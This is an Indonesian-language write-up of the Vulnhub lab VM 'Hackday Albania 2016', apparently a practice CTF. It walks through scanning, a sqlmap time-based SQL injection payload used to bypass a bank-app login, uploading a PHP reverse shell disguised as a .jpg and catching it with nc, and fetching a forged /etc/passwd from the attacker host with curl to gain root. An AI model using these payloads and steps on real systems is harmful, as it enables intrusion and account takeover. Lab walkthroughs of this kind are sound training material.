Hackday - Albania 2016 Write Up

Executive Summary

Hackday : Albania 2016 adalah VM yang saya dapatkan dari vulnhub.com, VM ini memiliki 2 service yang berjalan, SSH pada port default dan Web Server pada port 8008 serta terdapat web apps yang vulnerable terhadap serangan SQL Injection.

Quick POC

  1. Scanning Live Host menggunakan nmap
  2. Port 8080 adalah port yang digunakan untuk menjalankan webserver
  3. robots.txt untuk melihat directory dan akan mengarahkan ke web apps yang vulnerable terhdapat serangan SQl Injection
  4. Sql Injection terdapat pada parameter username di form login
  5. Inject menggunakan sqlmap dan didapatkan payload yang digunakan untuk login
  6. Upload file php reverse shell untuk mendapatkan akses ke server
  7. Dengan menggunakan command find, didapatkan file /etc/passwd dalam keadaan writeable untuk other
  8. Update password pada salah satu user ( yang memiliki akses tinggi, ex : sudoers) di /etc/passwd
  9. Akses /bin/bash dengan menggunakan sudo command untuk mendapatkan root akses
  10. Get the flag :p

Proof Of Concept

1. Live Host Scanning Using Nmap

Saya melukan live host scanning untuk mengetahui ip dari system hackday sehingga dapat mempersempit scanning service enumeration , dan didapatkan ip 192.168.10.101 yang digunakan oleh system hackday

  hackday : nmap -sn -T4 192.168.10.1/24

Starting Nmap 7.01 ( https://nmap.org ) at 2017-03-23 08:31 WIB
Nmap scan report for 192.168.10.1
Host is up (0.00073s latency).
Nmap scan report for 192.168.10.101
Host is up (0.00096s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 15.36 seconds

1.png

2. Service Enumeration Using Nmap

  hackday nmap -A -sV -T4 192.168.10.101 

Starting Nmap 7.01 ( https://nmap.org ) at 2017-03-23 08:41 WIB
Nmap scan report for 192.168.10.101
Host is up (0.0013s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 39:76:a2:f0:82:5f:1f:75:0d:e4:c4:c5:a7:48:b1:58 (RSA)
|_  256 21:fe:63:45:2c:cb:a1:f1:b6:ba:36:dd:ed:d3:d9:48 (ECDSA)
8008/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 26 disallowed entries (15 shown)
| /rkfpuzrahngvat/ /slgqvasbiohwbu/ /tmhrwbtcjpixcv/ 
| /vojtydvelrkzex/ /wpkuzewfmslafy/ /xqlvafxgntmbgz/ /yrmwbgyhouncha/ 
| /zsnxchzipvodib/ /atoydiajqwpejc/ /bupzejbkrxqfkd/ /cvqafkclsyrgle/ 
|_/unisxcudkqjydw/ /dwrbgldmtzshmf/ /exschmenuating/ /fytdinfovbujoh/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: HackDay Albania 2016
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.16 seconds

Dari hasil scanning Nmap terdapat 2 open port yaitu port 22 port default untuk SSH dan port 8008 port untuk Web Server.

3. robots.txt Parser And Directory Scanner

Dari hasil scanning menggunakan nmap, terdapat robots.txt yang berisi banyak directory yang disallow yang dapat kita jadikan wordlist untuk mencari directory yang mungkin terdapat Vulnerable Web Apps didalam nya sehingga dapat membawa kita mendapatkan akses ke system hackday. Saat mencoba mengakses directory yang berada di robots.txt halaman tersebut memiliki content yang sama.

web-content

Saya membuat script python untuk menghitung Content-Lenght dari list directory sehingga bisa membandingkan Content atau isi dari directory tersebut tanpa perlu menklik satu per satu.

Gunakan curl untuk mendapatkan list directory di robots.txt

curl http://192.168.10.101:8008/robots.txt | cut -d "/" -f2 > webdir.txt

#Content-Length Identifier
#cl-identifier.py
import requests

with open("webdir.txt","r") as words:
  words = words.read().split()
for word in words:
  URL = "http://192.168.10.101:8008/%s" % (word)
  #print URL
  r = requests.get(URL)
  print "%s : %d" % (URL,len(r.content))                               

Setelah menjalankan script cl-identifier.py didapatkan directory unisxcudkqjydw memiliki panjang content yang berbeda, sehingga dapat saya simpulkan content tersebut bukankan content yang sama seperti sebelumnya.

  hackday python cl-identifier.py
http://192.168.10.101:8008/rkfpuzrahngvat : 165
http://192.168.10.101:8008/slgqvasbiohwbu : 165
http://192.168.10.101:8008/tmhrwbtcjpixcv : 165
http://192.168.10.101:8008/vojtydvelrkzex : 165
http://192.168.10.101:8008/wpkuzewfmslafy : 165
http://192.168.10.101:8008/xqlvafxgntmbgz : 165
http://192.168.10.101:8008/yrmwbgyhouncha : 165
http://192.168.10.101:8008/zsnxchzipvodib : 165
http://192.168.10.101:8008/atoydiajqwpejc : 165
http://192.168.10.101:8008/bupzejbkrxqfkd : 165
http://192.168.10.101:8008/cvqafkclsyrgle : 165
http://192.168.10.101:8008/unisxcudkqjydw : 37
http://192.168.10.101:8008/dwrbgldmtzshmf : 165
http://192.168.10.101:8008/exschmenuating : 165
http://192.168.10.101:8008/fytdinfovbujoh : 165
http://192.168.10.101:8008/gzuejogpwcvkpi : 165
http://192.168.10.101:8008/havfkphqxdwlqj : 165
http://192.168.10.101:8008/ibwglqiryexmrk : 165
http://192.168.10.101:8008/jcxhmrjszfynsl : 165
http://192.168.10.101:8008/kdyinsktagzotm : 165
http://192.168.10.101:8008/lezjotlubhapun : 165
http://192.168.10.101:8008/mfakpumvcibqvo : 165
http://192.168.10.101:8008/ngblqvnwdjcrwp : 165
http://192.168.10.101:8008/ohcmrwoxekdsxq : 165
http://192.168.10.101:8008/pidnsxpyfletyr : 165
http://192.168.10.101:8008/qjeotyqzgmfuzs : 165

4. Very Secure BANK Website

Apabila kita mengakses directory unisxcudkqjydw, kita akan mendapatkan path dimana website “Very Secure BANK” berada.

Sql-Injection-error

Setelah dilakukan investigasi “asal-asalan”, halaman login website “Very Secure BANK” vulnerable terhadap serangan POST SQL Injection tepatnya pada parameter username

Sql-Injection-error

5. POST SQL Injection Attack Using Sqlmap

Dengan bantuan sqlmap kita dengan mudah dapat mengeksploitasi bug SQL Injection tersebut

  hackday sqlmap -u http://192.168.10.101:8008/unisxcudkqjydw//vulnbank/client/login.php --data "username=admin*&password=admin" -p username --dbs -T4 --level 4 --risk 3
         _
 ___ ___| |_____ ___ ___  {1.0.4.0#dev}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 23:30:36

custom injection marking character ('*') found in option '--data'. Do you want to process it? [Y/n/q] Y
[23:30:38] [INFO] resuming back-end DBMS 'mysql' 
[23:30:38] [INFO] testing connection to the target URL
---
Parameter: #1* ((custom) POST)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 RLIKE time-based blind (SELECT - comment)
    Payload: username=admin' RLIKE (SELECT * FROM (SELECT(SLEEP(5)))rtEp)#&password=admin
---
[23:30:39] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.18, PHP 7.0.8
back-end DBMS: MySQL 5.0.12
[23:30:39] [INFO] fetching database names
[23:30:39] [INFO] fetching number of databases
[23:30:39] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)
[23:30:39] [WARNING] it is very important to not stress the network adapter during usage of time-based payloads to prevent potential disruptions 
[23:30:39] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[23:30:39] [ERROR] unable to retrieve the number of databases
[23:30:39] [INFO] falling back to current database
[23:30:39] [INFO] fetching current database
[23:30:39] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)

Saya menggunakan payload yang dihasilkan oleh sqlmap untuk login di website Very Secure BANK

username=admin' RLIKE (SELECT * FROM (SELECT(SLEEP(5)))rtEp)#
password=admin

Dengan menggunakan username dan password diatas, voila ! Access Granted

web-logged-in

6. Plant The Backdoor

Dengan memanfaatkan Upload Form dibagian Contact Support, kita bisa memasang PHP Backdoor. Untuk diketahui, Upload Form tersebut melakukan filtering terhadap ekstensi file, sehingga hanya file berekstensi .jpg yang dapat diupload. Saya menggunakan php-reverse-shell yang saya dapatkan dari situs pentestmonkey yang sudah direname menjad php-reverse-shell.php.jpg.

Setelah sukses mengupload reverse shell tersebut, saya awal nya berpikir php-reverse-shell.php.jpg tidak bisa tereksekusi karena berekstensi .jpg, tapi ternyata Listener nc -vlp 2121 mendapatkan koneksi dari reverse shell yang diupload. Hal ini mungkin disebabkan oleh penggunaan fungsi include(file_name) pada PHP sehingga memungkinkan backdoor yang kita upload tereksekusi.

  hackday nc -vlp 2121
Listening on [0.0.0.0] (family 0, port 2121)
Connection from [192.168.10.101] port 2121 [tcp/iprop] accepted (family 2, sport 49492)
Linux hackday 4.4.0-45-generic #66-Ubuntu SMP Wed Oct 19 14:12:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
 06:26:55 up 30 min,  0 users,  load average: 0.06, 0.04, 0.01
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ 

7. Priviliege Escalation

Setelah mendapatkan Shell Access hasil dari reverse connection sebelumnya, saya melakukan Spawning TTY Shell agar mendapatkan shell yang lebih baik. Berbagai teknik untuk Spawning TTY Shell dapat dilihat disitus Netsec. Dikarenakan python (versi 2) tidak terinstall, tapi python3 yang terinstall kita tetap bisa menspawning karena syntax nya sama.

$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@hackday:/$ export TERM=xterm
export TERM=xterm
www-data@hackday:/$ 

Untuk next step saya mengikuti Basic Priviliege Escalation di blog g0tmilk

Saya mencoba mencari suid permission menggunakan command find / -perm -2000 2>/dev/null tetapi tidak menemukan menarik.

So What We Must To Do ?

Saat mencoba mencari Writable File menggunakan command find / -xdev -writable 2>/dev/null file /etc/passwd berada dipaling atas.

www-data@hackday:/$ find / -xdev -writable 2>/dev/null
find / -xdev -writable 2>/dev/null
/etc/passwd
/etc/systemd/system/inetd.service
/tmp

Apabila file /etc/passwd dalam keadaan Wriable itu akan menjadi bencana, karena kita dapat dengan mudah mengganti password user active di system hackday.

Saya menyalin isi dari file /etc/passwd ke local system saya sehingga dapat dengan mudah mengedit password. Untuk mengenerate password, dapat digunakan openssl.

  hackday openssl passwd -1 passw0rd
$1$FhytX.J/$cb/k7Fmg4LlTu9f8XDgux1
  Web cat passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
mysql:x:107:111:MySQL Server,,,:/nonexistent:/bin/false
messagebus:x:108:112::/var/run/dbus:/bin/false
uuidd:x:109:113::/run/uuidd:/bin/false
dnsmasq:x:110:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:111:65534::/var/run/sshd:/usr/sbin/nologin
taviso:$1$FhytX.J/$cb/k7Fmg4LlTu9f8XDgux1:1000:1000:Taviso,,,:/home/taviso:/bin/bash

Saya memilih user taviso karena user tersebut berada didalam grup sudo

www-data@hackday:/tmp$ cat /etc/group | grep sudo
sudo:x:27:taviso

Saya memindahkan file passwd yang sudah saya ganti password nya ke Document Root apache2 sehingga bisa ditranser ke system hackday, sebenar nya untuk mentransfer file bisa juga menggunakan nc tetapi saya menggunakan curl untuk mentransfer file passwd tersebut.

www-data@hackday:/tmp$ curl 192.168.10.1/passwd -O               
curl 192.168.10.1/passwd -O
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1657  100  1657    0     0   148k      0 --:--:-- --:--:-- --:--:--  179k

Setelah itu mari kita timpa file /etc/passwd dengan file passwd yang sudah kita edit.

www-data@hackday:/tmp$ cp passwd /etc/passwd
cp passwd /etc/passwd
www-data@hackday:/tmp$ su taviso
su taviso
Password: passw0rd

taviso@hackday:/tmp$ sudo -l
sudo -l
[sudo] password for taviso: passw0rd

Matching Defaults entries for taviso on hackday:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User taviso may run the following commands on hackday:
    (ALL : ALL) ALL


Voila ! Access Granted

8. Get The Flag

taviso@hackday:/tmp$ sudo su 
root@hackday:/tmp# cd /root
root@hackday:~# ls
ls
flag.txt
root@hackday:~# cat flag.txt
cat flag.txt
Urime, 
Tani nis raportin!

d5ed38fdbf28bc4e58be142cf5a17cf5

Didapatkan flag untuk Chellenge ini : d5ed38fdbf28bc4e58be142cf5a17cf5